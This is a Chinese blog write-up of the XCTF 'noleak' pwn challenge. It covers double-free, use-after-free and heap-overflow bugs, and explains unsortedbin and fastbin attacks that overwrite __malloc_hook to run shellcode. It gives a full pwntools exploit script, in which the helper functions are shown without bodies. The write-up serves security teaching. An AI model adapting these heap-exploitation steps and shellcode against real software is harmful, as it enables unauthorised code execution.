不一

攻防世界noleak与栈溢出的各种姿势

字数统计: 1.4k阅读时长: 5 min
2020/02/25 Share

分析

检查保护

首先查看ELF保护机制:

1
2
3
4
5
CANARY    : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : FULL

  • 开启了CANARY意味着栈保护,因此栈溢出攻击变得困难(但也不是不可能)。
  • 开启了FULL RELRO意味着GOT表不可写,但除了GOT表还有其他函数调用地址可以替换,比如本文将要使用的__malloc_hook
  • 没有开启NX,意味着可以把shellcode写到数据区进行执行,比如栈区、堆区。
  • 没有开启PIE,意味着ELF文件和在内存中布局一致(但libc加载机制还是运行时才确定的)。

漏洞分析

当选择2时进行Delete流程,其反编译代码如下:

1
2
3
4
5
6
7
8
9
void sub_4008D7() {
unsigned int v0;

sub_40072C("Index: ", 7u);
// 读取Index
v0 = sub_4007B8();
if ( v0 <= 9 )
free(buf[v0]);
}

  1. 在free()之前没有进行堆块可用的判断,造成Double_free漏洞。
  2. 在free()之后没有把指针置NULL,造成UAF漏洞。

当选择3进行Update,其关键部分反编译代码如下:

1
2
3
4
5
6
...
sub_40072C("Size: ", 6u);
nbytes = sub_4007B8();
sub_40072C("Data: ", 6u);
LODWORD(v0) = read(0, buf[v3], nbytes);
...

在堆块中调用read()并没有检查堆块的大小,从而造成堆溢出,可以改写高地址相邻堆块的数据。
使用UAF已经可以在任意地址写入数据了,要不是GOT表不可写的话这道题大概已经搞定了。但问题就是GOT表不可写,所以需要另辟蹊径,改写__malloc_hook的地址,为什么呢?因为这个地址在unsortedbins表附近。可以通过查看unsortedbins附近的数据看到,使用pwntools配合gdb进行动态调试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
from pwn import *
context(arch='amd64', os='linux')

r = process('/home/wc/timu')
# 打印出进程的PID,让gdb用于attach
print('PID: ' + str(proc.pidof(r)[0]))

def create(size, data):
def delete(index):

size_unsorted = 0x80
# 创建两个unsortedbin大小的chunk,因为要用于free,如果只有一个的话会被合并掉
create(size_unsorted, '\n')
create(size_unsorted, '\n')
# 释放掉第一个chunk,这样就会落入unsortedbin表中
delete(0)
# 挂起进程,交给gdb
pause()

运行脚本后,在gdb中通过方才打印出来的PID加载被挂起的进程:

1
2
3
$ sudo gdb ./timu
pwngdb> attach xxxx
pwndbg> unsortedbin


上图提供了unsortedbin中的唯一一个块其地址为0x1206000,又由于unsortedbin是双向链表,所以根据块的fd指针找到unsortedbin的地址为0x7efcc23f9b78。我们再看看unsortedbin附近有什么可以利用的数据:

1
pwndbg> x/100xg 0x7efcc23f9b00


看到了__malloc_hook,这就是我们用来代替GOT表的东西。

漏洞利用

unsortedbin attack

程序通过一个全局数组(位于.bss段的一个地址,由于没有开PIE所以可以直接使用)管理堆块的地址,因此直接的思路就是将__malloc_hook的地址写入到这个全局数组上,大体上分为两个步骤:

  1. 通过unsortedbin attack技术把unsortedbin的地址写入到全局数组上;
  2. 由于上一步破坏了unsortedbin,所以下面使用fastbin attack把全局数组的地址写在全局数组上,这样就可以把unsortedbin地址修改为__malloc_hook的地址(具体来说只要把最低位改成0x10即可);
  3. 修改__malloc_hook的数据。

画一个unsortedbin attack原理图:

当再次malloc一个与chunk0大小相同的块,会从unsortedbin中取下chunk0,其操作相当于双向链表的拆除,会发生如下操作:

1
2
chunk0->fd->bk = chunk0->bk
chunk0->bk->fd = chunk0->fd

结合上图的情况,就会把.bss的地址写入unsortedbin,从而破坏了unsortedbin;同时把unsortedbin地址写入到.bss

fastbins attack

和unsortedbin attack有一点微小的不同:

  1. fastbins带s,而unsortedbin不带s,因为fastbins有多个表,每个表对应不同大小的块,具体可以参考这篇文章,而unsortedbin只有一个表,不分大小。因此从bin上取堆块的时候,fastbins会判断这个堆块的大小是不是符合这个链的标准
  2. fastbins是单向链表,堆块之间通过fd指针相连,而unsortedbin是双向链表;
  3. fastbins是FILO,而unsortedbin是FIFO。

再画一个fastbins attack原理图:

把上图中chunk0的fd修改为.bss的地址,一个malloc之后得到chunk0,再次malloc后就能得到一个.bss上的堆块,但是有一个前提条件,如上所述,fastbins是对堆块的大小做判断的。chunk0本身就是一个fastbins上合法堆块,因此其size字段没问题,接下来我们需要在.bss上伪造一个合法的size字段。
在上面已经通过unsortedbin attack把unsortedbin地址写入在.bss上,其大致是0x7efcc23f9b78这样一个地址,在x64(小端机)上从低到高分别是:

1
0x78	0x3b	0xa4	0xa9	0x00	0x7f	0x00	0x00

可以看到把最后一个0x7f拿出来和后面的全0x00组合可以得到一个有效的size字段,位于fastbins的0x70-0x80区间,因此我们malloc的堆块也应处于这个大小,本文malloc(0x60),加上chunk head正好0x70的大小。而且伪造的chunk其fd也为全0x00,不会破坏fastbins。

shellcode

由于没有开启NX,因此可以把shellcode部署在.bss段,即使用fastbins attack方法获取一个指向.bss的指针,然后使用pwntools的asm模块直接写入shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
from pwn import *

context(arch='amd64', os='linux')

# 获取PID,用于gdb attach
r = process('/home/wc/timu')
print('PID: ' + str(proc.pidof(r)[0]))

def create(size, data):
def delete(index):
def update(index, size, data):

# .bss段的全局数组
addr_buf = 0x601040
# 用于unsortedbin的chunk大小
size_unsorted = 0x80
# 用于fastbins的chunk大小
size_fast = 0x60

# chunk0
create(size_unsorted, '\n')
# chunk1
create(size_fast, '\n')
# chunk2
create(size_unsorted, '\n')

# unsortedbin attack
# 把unsotredbin地址写入.bss
delete(0)
update(0, 0x10, p64(0) + p64(addr_buf + 0x20))
create(size_unsorted, '\n')

# fastbins attack
delete(1)
update(1, 0x8, p64(addr_buf + 0x2d))
# chunk5
create(size_fast, '\n')
# chunk6
create(size_fast, b'\x00' * 3 + p64(0x601070) + p64(addr_buf))

# 修改unsortedbin地址最后一位,使其指向__malloc_hook
update(8, 1, '\x10')

# 替换__malloc_hook的地址
update(6, 0x8, p64(addr_buf))

# 写入shellcode
shellcode = asm(shellcraft.amd64.sh())
update(9, len(shellcode), shellcode)

r.interactive()
r.close()
CATALOG
  1. 1. 分析
    1. 1.1. 检查保护
    2. 1.2. 漏洞分析
  2. 2. 漏洞利用
    1. 2.1. unsortedbin attack
    2. 2.2. fastbins attack
    3. 2.3. shellcode
  3. 3. exp